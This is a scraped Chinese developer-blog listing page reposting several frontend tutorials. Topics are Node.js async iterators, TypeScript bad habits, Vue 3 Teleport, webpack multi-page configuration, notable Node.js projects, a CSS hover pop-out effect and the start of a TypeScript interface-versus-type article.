就算有比对代价也比较小,因为哪怕是对象也只是引用比较。我觉得任何时候都用是一个好的习惯,但是大部分时间不用也没什么大问题。但是如果该函数或变量作为 props 传给子组件,请一定要用,避免子组件的非必要渲染

然后要记得 React 的工作方式遵循纯函数,特别是数据的 immutable,因此,使用 memo 很重要。但大部分时候都不足以成为性能瓶颈

原文链接:https://segmentfault.com/a/1190000039657107

收起阅读 »

关于 Node.js 中的异步迭代器

从 10.0.0 版开始,异步迭代器就出现在 Node 中了,在本文中,我们将讨论异步迭代器的作用,以及它们可以用在什么地方。什么是异步迭代器异步迭代器实际上是以前迭代器的异步版本。当我们不知道迭代的值和最终状态时,可以使用异步迭代器。两者不同的地方在于,我们...
继续阅读 »

从 10.0.0 版开始,异步迭代器就出现在 Node 中了,在本文中,我们将讨论异步迭代器的作用,以及它们可以用在什么地方。

什么是异步迭代器

异步迭代器实际上是以前迭代器的异步版本。当我们不知道迭代的值和最终状态时,可以使用异步迭代器。两者不同的地方在于,我们得到的 promise 最终将被分解为普通的 { value: any, done: boolean } 对象,另外可以通过 for-await-of 循环来处理异步迭代器。就像 for-of 循环用于同步迭代器一样。

const asyncIterable = [1, 2, 3];
asyncIterable[Symbol.asyncIterator] = async function*() {
for (let i = 0; i < asyncIterable.length; i++) {
yield { value: asyncIterable[i], done: false }
}
yield { done: true };
};

(async function() {
for await (const part of asyncIterable) {
console.log(part);
}
})();

与通常的 for-of 循环相反,`for-await-of 循环将会等待它收到的每个 promise 解析之后再继续执行下一个。

除了流之外,还在还没有什么能够支持异步迭代的结构,但是可以将 asyncIterator 符号手动添加到任何一种可迭代的结构中。

在流上使用异步迭代器

异步迭代器在处理流时非常有用。可读流、可写流、双工流和转换流上都带有 asyncIterator 符号。

async function printFileToConsole(path) {
try {
const readStream = fs.createReadStream(path, { encoding: 'utf-8' });

for await (const chunk of readStream) {
console.log(chunk);
}

console.log('EOF');
} catch(error) {
console.log(error);
}
}

如果以这种方式写代码,就不需要在通过迭代获取每个数据块时监听 end 和 data 事件了,并且 for-await-of 循环会随着流的结束而结束。

用于有分页功能的 API

你还可以通过异步迭代从使用分页的源中轻松获取数据。为了实现这个功能,还需要一种从Node https 请求方法提供给的流中重构响应主体的方法。在这里也可以使用异步迭代器,因为 https 请求和响应在 Node 中都是流:

const https = require('https');

function homebrewFetch(url) {
return new Promise(async (resolve, reject) => {
const req = https.get(url, async function(res) {
if (res.statusCode >= 400) {
return reject(new Error(`HTTP Status: ${res.statusCode}`));
}

try {
let body = '';

/*
代替 res.on 侦听流中的数据,
可以使用 for-await-of,
并把数据块附加到到响应体的剩余部分
*/
for await (const chunk of res) {
body += chunk;
}

// 处理响应没有响应体的情况
if (!body) resolve({});
// 需要解析正文来获取 json,因为它是一个字符串
const result = JSON.parse(body);
resolve(result);
} catch(error) {
reject(error)
}
});

await req;
req.end();
});
}

代码通过向 Cat API(https://thecatapi.com/)发出请求,来获取一些猫的图片。另外还添加了 7 秒钟的延迟防止对 cat API 的访问过与频繁,因为那样是极其不道德的。

function fetchCatPics({ limit, page, done }) {
return homebrewFetch(`https://api.thecatapi.com/v1/images/search?limit=${limit}&page=${page}&order=DESC`)
.then(body => ({ value: body, done }));
}

function catPics({ limit }) {
return {
[Symbol.asyncIterator]: async function*() {
let currentPage = 0;
// 5 页后停止
while(currentPage < 5) {
try {
const cats = await fetchCatPics({ currentPage, limit, done: false });
console.log(`Fetched ${limit} cats`);
yield cats;
currentPage ++;
} catch(error) {
console.log('There has been an error fetching all the cats!');
console.log(error);
}
}
}
};
}

(async function() {
try {
for await (let catPicPage of catPics({ limit: 10 })) {
console.log(catPicPage);
// 每次请求之间等待 7 秒
await new Promise(resolve => setTimeout(resolve, 7000));
}
} catch(error) {
console.log(error);
}
})()

这样,我们就会每隔7秒钟自动取回一整页的喵星人图片。

一种更常见的页面间导航的方法可实现 next 和 previous 方法并将它们公开为控件:

function actualCatPics({ limit }) {
return {
[Symbol.asyncIterator]: () => {
let page = 0;
return {
next: function() {
page++;
return fetchCatPics({ page, limit, done: false });
},
previous: function() {
if (page > 0) {
page--;
return fetchCatPics({ page, limit, done: false });
}
return fetchCatPics({ page: 0, limit, done: true });
}
}
}
};
}

try {
const someCatPics = actualCatPics({ limit: 5 });
const { next, previous } = someCatPics[Symbol.asyncIterator]();
next().then(console.log);
next().then(console.log);
previous().then(console.log);
} catch(error) {
console.log(error);
}

如你所见,当要获取数据页面或在程序的 UI 上进行无限滚动之类的操作时,异步迭代器会非常有用。

这些功能在 Chrome 63+、Firefox 57+、Safari 11.1+ 中可用。

原文链接:https://segmentfault.com/a/1190000039366803

收起阅读 »

写TypeScript代码的10种坏习惯

近几年 TypeScript 和 JavaScript 一直在稳步发展。我们在过去写代码时养成了一些习惯,而有些习惯却没有什么意义。以下是我们都应该改正的 10 个坏习惯。1.不使用 strict 模式这种习惯看起来是什么样的没有用严格模式...
继续阅读 »

近几年 TypeScript 和 JavaScript 一直在稳步发展。我们在过去写代码时养成了一些习惯,而有些习惯却没有什么意义。以下是我们都应该改正的 10 个坏习惯。

1.不使用 strict 模式

这种习惯看起来是什么样的

没有用严格模式编写 tsconfig.json

{
"compilerOptions": {
"target": "ES2015",
"module": "commonjs"
}
}

应该怎样

只需启用 strict 模式即可:

{
"compilerOptions": {
"target": "ES2015",
"module": "commonjs",
"strict": true
}
}

为什么会有这种坏习惯

在现有代码库中引入更严格的规则需要花费时间。

为什么不该这样做

更严格的规则使将来维护代码时更加容易,使你节省大量的时间。

2. 用 || 定义默认值

这种习惯看起来是什么样的

使用旧的 || 处理后备的默认值:

function createBlogPost (text: string, author: string, date?: Date) {
return {
text: text,
author: author,
date: date || new Date()
}
}

应该怎样

使用新的 ?? 运算符,或者在参数重定义默认值。

function createBlogPost (text: string, author: string, date: Date = new Date())
return {
text: text,
author: author,
date: date
}
}

为什么会有这种坏习惯

?? 运算符是去年才引入的,当在长函数中使用值时,可能很难将其设置为参数默认值。

为什么不该这样做

?? 与 || 不同,?? 仅针对 null 或 undefined,并不适用于所有虚值。

3. 随意使用 any 类型

这种习惯看起来是什么样的

当你不确定结构时,可以用 any 类型。

async function loadProducts(): Promise<Product[]> {
const response = await fetch('https://api.mysite.com/products')
const products: any = await response.json()
return products
}

应该怎样

把你代码中任何一个使用 any 的地方都改为 unknown

async function loadProducts(): Promise<Product[]> {
const response = await fetch('https://api.mysite.com/products')
const products: unknown = await response.json()
return products as Product[]
}

为什么会有这种坏习惯

any 是很方便的,因为它基本上禁用了所有的类型检查。通常,甚至在官方提供的类型中都使用了 any。例如,TypeScript 团队将上面例子中的 response.json() 的类型设置为 Promise <any>

为什么不该这样做

它基本上禁用所有类型检查。任何通过 any 进来的东西将完全放弃所有类型检查。这将会使错误很难被捕获到。

4. val as SomeType

这种习惯看起来是什么样的

强行告诉编译器无法推断的类型。

async function loadProducts(): Promise<Product[]> {
const response = await fetch('https://api.mysite.com/products')
const products: unknown = await response.json()
return products as Product[]
}

应该怎样

这正是 Type Guard 的用武之地。

function isArrayOfProducts (obj: unknown): obj is Product[] {
return Array.isArray(obj) && obj.every(isProduct)
}

function isProduct (obj: unknown): obj is Product {
return obj != null
&& typeof (obj as Product).id === 'string'
}

async function loadProducts(): Promise<Product[]> {
const response = await fetch('https://api.mysite.com/products')
const products: unknown = await response.json()
if (!isArrayOfProducts(products)) {
throw new TypeError('Received malformed products API response')
}
return products
}

为什么会有这种坏习惯

从 JavaScript 转到 TypeScript 时,现有的代码库通常会对 TypeScript 编译器无法自动推断出的类型进行假设。在这时,通过 as SomeOtherType 可以加快转换速度,而不必修改 tsconfig 中的设置。

为什么不该这样做

Type Guard 会确保所有检查都是明确的。

5. 测试中的 as any

这种习惯看起来是什么样的

编写测试时创建不完整的用例。

interface User {
id: string
firstName: string
lastName: string
email: string
}

test('createEmailText returns text that greats the user by first name', () => {
const user: User = {
firstName: 'John'
} as any

expect(createEmailText(user)).toContain(user.firstName)
}

应该怎样

如果你需要模拟测试数据,请将模拟逻辑移到要模拟的对象旁边,并使其可重用。

interface User {
id: string
firstName: string
lastName: string
email: string
}

class MockUser implements User {
id = 'id'
firstName = 'John'
lastName = 'Doe'
email = 'john@doe.com'
}

test('createEmailText returns text that greats the user by first name', () => {
const user = new MockUser()

expect(createEmailText(user)).toContain(user.firstName)
}

为什么会有这种坏习惯

在给尚不具备广泛测试覆盖条件的代码编写测试时,通常会存在复杂的大数据结构,但要测试的特定功能仅需要其中的一部分。短期内不必关心其他属性。

为什么不该这样做

在某些情况下,被测代码依赖于我们之前认为不重要的属性,然后需要更新针对该功能的所有测试。

6. 可选属性

这种习惯看起来是什么样的

将属性标记为可选属性,即便这些属性有时不存在。

interface Product {
id: string
type: 'digital' | 'physical'
weightInKg?: number
sizeInMb?: number
}

应该怎样

明确哪些组合存在,哪些不存在。

interface Product {
id: string
type: 'digital' | 'physical'
}

interface DigitalProduct extends Product {
type: 'digital'
sizeInMb: number
}

interface PhysicalProduct extends Product {
type: 'physical'
weightInKg: number
}

为什么会有这种坏习惯

将属性标记为可选而不是拆分类型更容易,并且产生的代码更少。它还需要对正在构建的产品有更深入的了解,并且如果对产品的设计有所修改,可能会限制代码的使用。

为什么不该这样做

类型系统的最大好处是可以用编译时检查代替运行时检查。通过更显式的类型,能够对可能不被注意的错误进行编译时检查,例如确保每个 DigitalProduct 都有一个 sizeInMb

7. 用一个字母通行天下

这种习惯看起来是什么样的

用一个字母命名泛型

function head<T> (arr: T[]): T | undefined {
return arr[0]
}

应该怎样

提供完整的描述性类型名称。

function head<Element> (arr: Element[]): Element | undefined {
return arr[0]
}

为什么会有这种坏习惯

这种写法最早来源于C++的范型库,即使是 TS 的官方文档也在用一个字母的名称。它也可以更快地输入,只需要简单的敲下一个字母 T 就可以代替写全名。

为什么不该这样做

通用类型变量也是变量,就像其他变量一样。当 IDE 开始向我们展示变量的类型细节时,我们已经慢慢放弃了用它们的名称描述来变量类型的想法。例如我们现在写代码用 const name ='Daniel',而不是 const strName ='Daniel'。同样,一个字母的变量名通常会令人费解,因为不看声明就很难理解它们的含义。

8. 对非布尔类型的值进行布尔检查

这种习惯看起来是什么样的

通过直接将值传给 if 语句来检查是否定义了值。

function createNewMessagesResponse (countOfNewMessages?: number) {
if (countOfNewMessages) {
return `You have ${countOfNewMessages} new messages`
}
return 'Error: Could not retrieve number of new messages'
}

应该怎样

明确检查我们所关心的状况。

function createNewMessagesResponse (countOfNewMessages?: number) {
if (countOfNewMessages !== undefined) {
return `You have ${countOfNewMessages} new messages`
}
return 'Error: Could not retrieve number of new messages'
}

为什么会有这种坏习惯

编写简短的检测代码看起来更加简洁,使我们能够避免思考实际想要检测的内容。

为什么不该这样做

也许我们应该考虑一下实际要检查的内容。例如上面的例子以不同的方式处理 countOfNewMessages 为 0 的情况。

9. ”棒棒“运算符

这种习惯看起来是什么样的

将非布尔值转换为布尔值。

function createNewMessagesResponse (countOfNewMessages?: number) {
if (!!countOfNewMessages) {
return `You have ${countOfNewMessages} new messages`
}
return 'Error: Could not retrieve number of new messages'
}

应该怎样

明确检查我们所关心的状况。

function createNewMessagesResponse (countOfNewMessages?: number) {
if (countOfNewMessages !== undefined) {
return `You have ${countOfNewMessages} new messages`
}
return 'Error: Could not retrieve number of new messages'
}

为什么会有这种坏习惯

对某些人而言,理解 !! 就像是进入 JavaScript 世界的入门仪式。它看起来简短而简洁,如果你对它已经非常习惯了,就会知道它的含义。这是将任意值转换为布尔值的便捷方式。尤其是在如果虚值之间没有明确的语义界限时,例如 nullundefined 和 ''

为什么不该这样做

与很多编码时的便捷方式一样,使用 !! 实际上是混淆了代码的真实含义。这使得新开发人员很难理解代码,无论是对一般开发人员来说还是对 JavaScript 来说都是新手。也很容易引入细微的错误。在对“非布尔类型的值”进行布尔检查时 countOfNewMessages 为 0 的问题在使用 !! 时仍然会存在。

10. != null

这种习惯看起来是什么样的

棒棒运算符的小弟 ! = null使我们能同时检查 null 和 undefined

function createNewMessagesResponse (countOfNewMessages?: number) {
if (countOfNewMessages != null) {
return `You have ${countOfNewMessages} new messages`
}
return 'Error: Could not retrieve number of new messages'
}

应该怎样

明确检查我们所关心的状况。

function createNewMessagesResponse (countOfNewMessages?: number) {
if (countOfNewMessages !== undefined) {
return `You have ${countOfNewMessages} new messages`
}
return 'Error: Could not retrieve number of new messages'
}

为什么会有这种坏习惯

如果你的代码在 null 和 undefined 之间没有明显的区别,那么 != null 有助于简化对这两种可能性的检查。

为什么不该这样做

尽管 null 在 JavaScript早期很麻烦,但 TypeScript 处于 strict 模式时,它却可以成为这种语言中宝贵的工具。一种常见模式是将 null 值定义为不存在的事物,将 undefined 定义为未知的事物,例如 user.firstName === null 可能意味着用户实际上没有名字,而 user.firstName === undefined 只是意味着我们尚未询问该用户(而 user.firstName === 的意思是字面意思是 '' 。

原文链接:https://segmentfault.com/a/1190000039368534

收起阅读 »

Vue3 Teleport 简介,请过目,这个是真的好用

vue
关于 vue3 的一个新特性已经讨论了一段时间了,那就是 Portals(传送门) ,它的功能是将模板HTML移动到DOM不同地方的方法。Portals是React中的一个常见特性,Vue2 中可以使用portal-vue库。Vue3 中,提供了&n...
继续阅读 »

关于 vue3 的一个新特性已经讨论了一段时间了,那就是 Portals(传送门) ,它的功能是将模板HTML移动到DOM不同地方的方法。Portals是React中的一个常见特性,Vue2 中可以使用portal-vue库。

Vue3 中,提供了 Teleport 来支持这一功能。

Teleport 的目的

我首先要了解的是何时使用 Teleport 功能。

在处理较大的Vue项目时,有逻辑处理组织代码库是很重要的。 但是,当处理某些类型的组件(如模式,通知或提示)时,模板HTML的逻辑可能位于与我们希望渲染元素的位置不同的文件中。

实际上,在很多时候,与我们的Vue应用程序的DOM完全分开处理时,这些元素的管理要容易得多。 所有这些都是因为处理嵌套组件的位置,z-index和样式可能由于处理其所有父对象的范围而变得棘手。

这种情况就是 Teleport 派上用场的地方。 我们可以在逻辑所在的组件中编写模板代码,这意味着我们可以使用组件的数据或 props。 但是,然后完全将其渲染到我们Vue应用程序的范围之外。

如果不使用 Teleport,我们将不得不担心从子组件向DOM树传递逻辑的事件传播,但现在要简单得多。

Vue Teleport 是如何工作的

假设我们有一些子组件,我们想在其中触发弹出的通知。 正如刚才所讨论的,如果将通知以完全独立的DOM树渲染,而不是Vue的根#app元素,则更为简单。

我们要做的第一件事是打开我们的index.html,并在</body>之前添加一个<div>

// index.html
<body>
<div id="app"></div>
<div id='portal-target'></div>
</body>

接下来,创建触发要渲染的通知的组件。

// VuePortals.vue
<template>
<div class='portals'>
<button @click='showNotification'> Trigger Notification! </button>
<teleport to='#portal-target'>
<div v-if="isOpen" class='notification'>
This is rendering outside of this child component!
</div>
</teleport>
</div>
</template>

<script>
import { ref } from 'vue'
export default {
setup () {
const isOpen = ref(false)

var closePopup

const showNotification = () => {
isOpen.value = true

clearTimeout(closePopup)

closePopup = setTimeout(() => {
isOpen.value = false
}, 2000)
}

return {
isOpen,
showNotification
}
}
}
</script>

<style scoped>
.notification {
font-family: myriad-pro, sans-serif;
position: fixed;
bottom: 20px;
left: 20px;
width: 300px;
padding: 30px;
background-color: #fff;
}
</style>

在此代码段中,当按下按钮时,将渲染2秒钟的通知。 但是,我们的主要目标是使用Teleport获取通知以在我们的Vue应用程序外部渲染。

如你所见,Teleport具有一个必填属性- to

to 需要 prop,必须是有效的查询选择器或 HTMLElement (如果在浏览器环境中使用)。指定将在其中移动 <teleport> 内容的目标元素

由于我们在#portal-target中传递了代码,因此 Vue会找到包含在index.html中的#portal-target div,它会把 Teleport 内的所有代码渲染到该div中。

下面是运行的结果:



总结

以上就是Vue Teleport的基本介绍。 在不久的将来,后面会介绍一些更高级的用例,今天这篇开始使用此炫酷功能开始!

有关更深入的教程,查看Vue3文档

~完,我是刷碗智,我要去刷晚了,骨得白!


代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

原文:https://segmentfault.com/a/1190000039745751

收起阅读 »

webpack踩坑记录

最近在学习webpack的一些配置,学习的期望就是通过可以通过webpack给html文件中引用的资源例如css、js、img文件加上版本号,避免由于浏览器的缓存造成线上请求的资源依旧是旧版本的东西。首先新建一个webpack的项目(默认大家已经安装node的...
继续阅读 »

最近在学习webpack的一些配置,学习的期望就是通过可以通过webpack给html文件中引用的资源例如css、js、img文件加上版本号,避免由于浏览器的缓存造成线上请求的资源依旧是旧版本的东西。

首先新建一个webpack的项目(默认大家已经安装node的了)

npm init

项目中安装webpack

npm webpack --save-dev
npm webpack-cli --save-dev

然后就可以开心的写代码了

首先讲解单个文件的打包配置

在项目的根目录下,新建一个webpack.config.js文件,

npm install --save-dev html-webpack-plugin mini-css-extract-plugin 
clean-webpack-plugin

现在逐一讲解各个plugin的作用:

  • html-webpack-plugin

当使用 webpack打包时,创建一个 html 文件,并把 webpack 打包后的静态文件自动插入到这个 html 文件当中,并且可以使用自定义的模版,例如html、pug、ejs,还可配置hash值等一些配置。
具体可配置的参数还是很多的,像title、meta等等,可参考webpack官网

  • mini-css-extract-plugin

webpack 4.0以后,把css样式从js文件中提取到单独的css文件中;
这在项目中的使用场景是把css文件在js文件中import进来,打包的时候该插件会识别到这个css文件,通过配置的路径参数生成一个打包后的css文件。

  • clean-webpack-plugin

是用于在下一次打包时清除之前打包的文件,可参考webpack官网

项目中用到的loader

  • babel-loader

Babel把用最新标准编写的 JavaScript代码向下编译成可以在今天随处可用的版本

  • html-loader

它默认处理html中的<img src="image.png">require("./image.png"),同时需要在你的配置中指定image文件的加载器,比如:url-loader或者file-loader

  • url-loader file-loader

用于解决项目中的图片打包问题,把图片资源打包进打包文件中,可修改对应的文件名和路径,url-loader比file-loader多一个可配置的limit属性,通过此参数,可配置若图片大小大于此参数,则用文件资源,小于此参数则用base64格式展示图片;

  • style-loader css-loader

打包css文件并插入到html文件中;

单页面打包webpack.config.js的配置
const HtmlWebpackPlugin = require("html-webpack-plugin");
const MiniCssExtractPlugin = require('mini-css-extract-plugin');
const {
CleanWebpackPlugin
} = require('clean-webpack-plugin');

const path = require("path");

module.exports = {
mode: "development",
entry: path.resolve(__dirname, './src/index.js'),

output: {
filename: "bundle.js",
path: path.resolve(__dirname, 'build'),
// libraryTarget: 'umd'
},
module: {
rules: [{
test: /\.html$/,
use: [{
loader: "html-loader",
options: {
attrs: ['img:src', 'link:href']
}
}]
},
{
test: /\.js$/,
use: {
loader: "babel-loader"
},
include: path.resolve(__dirname, '/src'),
exclude: /node_modules/,
},
{
test: /\.(jpg|png|gif|bmp|jpeg)$/,
use: [{
// loader: 'file-loader',
loader: 'url-loader',
options: {
limit: 8192,
// name: '[name].[ext]',
name: '[name]-[hash:8].[ext]',
outputPath: 'images/',

}
}]
},
{
test: /\.pug$/,
use: {
loader: 'pug-loader'
}
},
{
test: /\.css$/,
use: ['style-loader', MiniCssExtractPlugin.loader, 'css-loader']
},

],
},
plugins: [
new CleanWebpackPlugin(),


new HtmlWebpackPlugin({
hash: true,
template: "src/index.html",
// template: "src/index.pug",
filename: "bundle.html",
}),

new MiniCssExtractPlugin({
filename: "bundle.css",
chunkFilename: "index.css"
}),

],
}

多页面

在plugin中,有多个html-webpack-plugin插件的使用,可生成对应的打包后多个html文件

多页面打包webpack.config.js的配置
const getPath = require('./getPath')

const HtmlWebpackPlugin = require("html-webpack-plugin");
const MiniCssExtractPlugin = require('mini-css-extract-plugin');
const {
CleanWebpackPlugin
} = require('clean-webpack-plugin');

const path = require("path");


module.exports = {
mode: "development",
entry: {
main: './src/main/main.js',
side: './src/side/side.js',
// ...getPath.jsPathList,

},
output: {
path: path.resolve(__dirname, 'build'),
filename: 'js/[name].js',
publicPath: '../',
},
module: {
rules: [{
test: /\.html$/,
use: [{
loader: "html-loader",
options: {
attrs: ['img:src', 'link:href']
}
}, ]
},
{
test: /\.js$/,
use: [{
loader: "babel-loader",
options: {
presets: ['es2015']
}
}],
include: path.resolve(__dirname, '/src'),
exclude: /node_modules/,
},
{
test: /\.(jpg|png|gif|bmp|jpeg)$/,
use: [{
// loader: 'file-loader',
loader: 'url-loader',
options: {
limit: 8192,
name: '[name]-[hash:8].[ext]',
outputPath: './images', //指定放置目标文件的文件系统路径
publicPath: '../images',//指定目标文件的自定义公共路径
}
}]
},

{
test: /\.pug$/,
use: {
loader: 'pug-loader'
}
},
{
test: /\.css$/,
use: ['style-loader', MiniCssExtractPlugin.loader, 'css-loader']
},
]
},
plugins: [
new CleanWebpackPlugin(),
//输出html文件1
new HtmlWebpackPlugin({
hash: true,
template: "./src/main/main.html", //本地html文件模板的地址
filename: "html/main.html",
chunks: ['main'],
}),

new HtmlWebpackPlugin({
hash: true,
template: "./src/side/side.html",
filename: "html/side.html",
chunks: ['side'],
}),
// ...getPath.htmlPathList,

new MiniCssExtractPlugin({
filename: "css/[name].css",
chunkFilename: "./src/[name]/[name].css"
}),

]
}

当然也可以通过函数获取所有需要打包的文件的路径,动态在webpack的配置文件中插入

const glob = require("glob");
const path = require("path");
const HtmlWebpackPlugin = require("html-webpack-plugin");
/**
*
* @param {string} globPath 文件的路径
* @returns entries
*/


function getPath(globPath) {
let files = glob.sync(globPath);

let entries = {},
entry, dirname, basename, extname;

files.forEach(item => {
entry = item;
dirname = path.dirname(entry); //当前目录
extname = path.extname(entry); //后缀
basename = path.basename(entry, extname); //文件名
//文件路径
if (extname === '.html') {
entries[basename] = entry;
} else if (extname === '.js') {
entries[basename] = entry;
}
});

return entries;
}

const jsPath = getPath('./src/*/*.js');
const htmlPath = getPath('./src/*/*.html');
const jsPathList = {};
const htmlPathList = [];

console.log("jsPath", jsPath)

Object.keys(jsPath).forEach((item) => {
jsPathList[item] = path.resolve(__dirname, jsPath[item])
})

Object.keys(htmlPath).forEach((item) => {
htmlPathList.push(new HtmlWebpackPlugin({
hash: true,
template: htmlPath[item],
filename: `html/${item}.html`,
chunks: [item],
// chunks: [item, 'jquery'],
}))
})

// console.log("htmlPathList", htmlPathList)


module.exports = {
jsPathList,
htmlPathList
}

经过打包之后,某个文件夹下的html、css、jpg文件,会被分别打包放进build文件夹下的html文件夹、css文件夹和images文件夹,并且在html文件中引用的其他资源文件也加上了hash值作为版本号。

坑:

刚开始的时候url-loader和file-loader都是安装最新版本的,导致打包后图片的路径变成了<img src="[object Module]"/>
所以此项目用的"url-loader": "^2.1.0","file-loader": "^4.2.0"

点击打开项目github地址

原文链接:https://segmentfault.com/a/1190000021159257?utm_source=sf-similar-article

收起阅读 »

2021 年值得关注的 8 个 Node.js 项目

1. Cytoscape.js网站 https://js.cytoscape.org/这个用于可视化和图形分析的开源 JavaScript 库实现了丰富的交互功能。选择方形区域、平移、捏拉缩放等功能都是开箱即用。Cytoscape 可以用于 Node...
继续阅读 »

1. Cytoscape.js


网站 https://js.cytoscape.org/

这个用于可视化和图形分析的开源 JavaScript 库实现了丰富的交互功能。选择方形区域、平移、捏拉缩放等功能都是开箱即用。

Cytoscape 可以用于 Node.js 服务端环境完成图形分析任务,也可以在命令行下使用。有兴趣转向数据科学的开发者可以选择参与 Cytoscape 的开发,它的贡献指南和文档都很棒。

2. PDFKit

网站 https://pdfkit.org/

很有用的基于 Node 的 PDF 生成库,有助于创建复杂的 PDF 文件供下载,支持嵌入文本和字体、注解、矢量图形等特性。不过,这个项目的文档不算丰富,给它贡献代码有点困难。

3. Socket.IO


网站 https://socket.io/

提供双向、实时的基于事件的通讯机制,支持所有浏览器设备,也同样注重性能。比如,可以基于它开发一个简单的聊天应用。

服务端收到新消息后会发给客户端,客户端接收事件通知无需再额外发送新请求至服务端。

支持以下有用特性:

  • 二进制流
  • 实时分析
  • 文档协作

4. Strapi


网站 https://strapi.io/

开源内容管理系统,后端系统通过 REST 风格的 API 提供功能,项目的主要目标是在所有设备上交付结构化的内容。

这个项目支持许多特性,包括内置的邮件系统、文件上传、JSON Web Token 鉴权。基于 Strapi 构建的内容结构非常灵活,可供创建内容分组、定制 API。

5. Nest


网站 https://nestjs.com/

Nest 是很流行的创建高效、可伸缩的服务端应用的新一代框架。底层基于 Express 框架,使用 TypeScript 组合了函数式和面向对象的编程元素。其模块化的架构让你可以很灵活地使用各种库。

6. Date-fns

网站 https://date-fns.org/

date-fns 仍然是在 Node.js 和浏览器环境下处理 JavaScript 日期最简单一致的工具集,也和 browserify、webpack、rollup 等现代模块打包工具配合良好。社区支持非常好,所以支持的本地化区域非常多,各种功能都有详细描述和示例。

7. SheetJS

网站 https://sheetjs.com/

这个 Node.js 库可以处理 Excel 电子表格,以及其他相关功能。比如,导出表格、转换 HTML 表格和 JSON 数组为 xlsx 文件。社区很大,贡献指南的文档也很棒。

8. Express.js


网站 https://expressjs.com/

这是最流行的 Node.js 开源项目之一,它能够高效处理 HTTP 请求,基于 JavaScript 这一同时适用于服务端和浏览器的语言,因此价值巨大。

它是开发高速、安全的应用的利器。

基本特性:

  1. 支持不同的扩展和插件
  2. 基于 HTTP 方法和 URL 的路由机制
  3. 无缝集成数据库

感谢 Adrian Twarog [@adriantwarog] 的细致讲解

请看视频 👇

youtube: 8 Node.js Projects to Keep An Eye On 2021


本文系转载,阅读原文
https://nextfe.com/8-node-js-projects-2021/
收起阅读 »

两种纯CSS方式实现hover图片pop-out弹出效果

主要图形的组成元素由背景和前景图两个元素,以下示例代码中,背景元素使用伪元素 figure::before 表示, 前景元素使用 figure img 表示,当鼠标hover悬浮至figure元素时,背景元素产生变大效果...
继续阅读 »

主要图形的组成元素由背景和前景图两个元素,以下示例代码中,背景元素使用伪元素 figure::before 表示, 前景元素使用 figure img 表示,当鼠标hover悬浮至figure元素时,背景元素产生变大效果,前景元素产生变大并向上移动效果,从而从视觉上实现弹出效果。

背景元素 figure::before


前景元素 figure img

1. 使用 overflow: hidden 方式

主体元素的 html 结构由一个 figure 元素包裹的 img 元素构成:

<figure>
<img src='./man.png' alt='Irma'>
</figure>

在 css 中设置了两个变量 --hov 和 --not-hov 用于控制 hover 元素时的放大以及位移效果。并对 figure 元素添加 overflow: hidden,设置 padding-top: 5% 用于前景元素超出背景元素时不被截断(非必需:并使用了 clamp() 函数用来动态设定 border-radius 以动态响应页面缩放)

figure {
--hov: 0;
--not-hov: calc(1 - var(--hov));
display: grid;
place-self: center;
margin: 0;
padding-top: 5%;
transform: scale(calc(1 - .1*var(--not-hov)));
overflow: hidden;
border-radius: 0 0 clamp(4em, 20vw, 15em) clamp(4em, 20vw, 15em);
}
figure::before, figure img {
grid-area: 1/1;
place-self: end center;
}
figure::before {
content: "";
padding: clamp(4em, 20vw, 15em);
border-radius: 50%;
background: url('./bg.png') 50%/cover;
}
figure:hover {
--hov: 1;
}
img {
width: calc(2*clamp(4em, 20vw, 15em));
border-radius: clamp(4em, 20vw, 15em);
transform: translateY(calc((1 - var(--hov))*10%)) scale(calc(1.25 + .05*var(--hov)));
}


2. 使用 clip-path: inset() 方式

<figure>
<img src='./man.png' alt='Irma'>
</figure>

样式基本上与第一种相同,使用 clip-path 来截取圆形背景区域。

figure {
--hov: 0;
--not-hov: calc(1 - var(--hov));
display: grid;
place-self: center;
margin: 0;
padding-top: 5%;
transform: scale(calc(1 - .1*var(--not-hov)));
clip-path: inset(0 round 0 0 clamp(4em, 20vw, 15em) clamp(4em, 20vw, 15em));
}
figure::before, figure img {
grid-area: 1/1;
place-self: end center;
}
figure::before {
content: "";
padding: clamp(4em, 20vw, 15em);
border-radius: 50%;
background: url('./bg.png') 50%/cover;
}
figure:hover {
--hov: 1;
}
figure:hover::before {
box-shadow: 1px 1px 10px rgba(0, 0, 0, .3);
}
img {
width: calc(2*clamp(4em, 20vw, 15em));
border-radius: clamp(4em, 20vw, 15em);
transform: translateY(calc((1 - var(--hov))*10%)) scale(calc(1.25 + .05*var(--hov)));
}

完整示例

<h2>使用overflow: hidden方式</h2>
<figure>
<img src='./man.png' alt='Irma'>
</figure>
<h2>使用clip-path: path()方式</h2>
<figure>
<img src='./man.png' alt='Irma'>
</figure>

body {
display: grid;
background: #FDFC47;
background: -webkit-linear-gradient(to right, #24FE41, #FDFC47);
background: linear-gradient(to right, #24FE41, #FDFC47);
}
figure {
--hov: 0;
--not-hov: calc(1 - var(--hov));
display: grid;
place-self: center;
margin: 0;
padding-top: 5%;
transform: scale(calc(1 - .1*var(--not-hov)));
}
figure:nth-of-type(1) {
overflow: hidden;
border-radius: 0 0 clamp(4em, 20vw, 15em) clamp(4em, 20vw, 15em);
}
figure:nth-of-type(2) {
clip-path: inset(0 round 0 0 clamp(4em, 20vw, 15em) clamp(4em, 20vw, 15em));
}
figure, figure img {
transition: transform 0.2s ease-in-out;
}
figure::before, figure img {
grid-area: 1/1;
place-self: end center;
}
figure::before {
padding: clamp(4em, 20vw, 15em);
border-radius: 50%;
background: url('./bg.png') 50%/cover;
content: "";
transition: .25s linear;
}
figure:hover {
--hov: 1;
}
figure:hover::before {
box-shadow: 1px 1px 10px rgba(0, 0, 0, .3);
}
img {
width: calc(2*clamp(4em, 20vw, 15em));
border-radius: clamp(4em, 20vw, 15em);
transform: translateY(calc((1 - var(--hov))*10%)) scale(calc(1.25 + .05*var(--hov)));
}

原文链接:https://segmentfault.com/a/1190000039830020

收起阅读 »

TypeScript Interface vs Type知多少

接口和类型别名非常相似,在大多情况下二者可以互换。在写TS的时候,想必大家都问过自己这个问题,我到底应该用哪个呢?希望看完本文会给你一个答案。知道什么时候应该用哪个,首先应该了解二者之间的相同点和不同点,再做出选择。接口 vs 类型别名 相同点1. 都可以用来...
继续阅读 »

接口和类型别名非常相似,在大多情况下二者可以互换。在写TS的时候,想必大家都问过自己这个问题,我到底应该用哪个呢?希望看完本文会给你一个答案。知道什么时候应该用哪个,首先应该了解二者之间的相同点和不同点,再做出选择。

接口 vs 类型别名 相同点

